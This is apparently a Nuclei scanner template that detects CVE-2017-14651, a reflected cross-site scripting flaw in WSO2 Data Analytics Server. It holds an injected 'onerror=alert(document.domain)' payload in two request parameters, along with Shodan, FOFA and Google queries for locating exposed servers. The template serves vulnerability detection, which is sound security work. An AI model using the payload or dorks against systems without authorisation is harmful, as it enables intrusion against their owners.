WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting

id: CVE-2017-14651

info:
  name: WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting
  author: mass0ma
  severity: medium
  description: WSO2 Data Analytics Server 3.1.0 is susceptible to cross-site scripting in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of WSO2 Data Analytics Server or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/cybersecurityworks/Disclosed/issues/15
    - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2017-0265
    - https://cybersecurityworks.com/zerodays/cve-2017-14651-wso2.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14651
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2017-14651
    cwe-id: CWE-79
    epss-score: 0.00144
    epss-percentile: 0.50196
    cpe: cpe:2.3:a:wso2:api_manager:2.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wso2
    product: api_manager
    shodan-query: http.favicon.hash:1398055326
    fofa-query: icon_hash=1398055326
    google-query: inurl:"carbon/admin/login"
  tags: cve,cve2017,wso2,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&parentPath=%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - "Failed to add new collection"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
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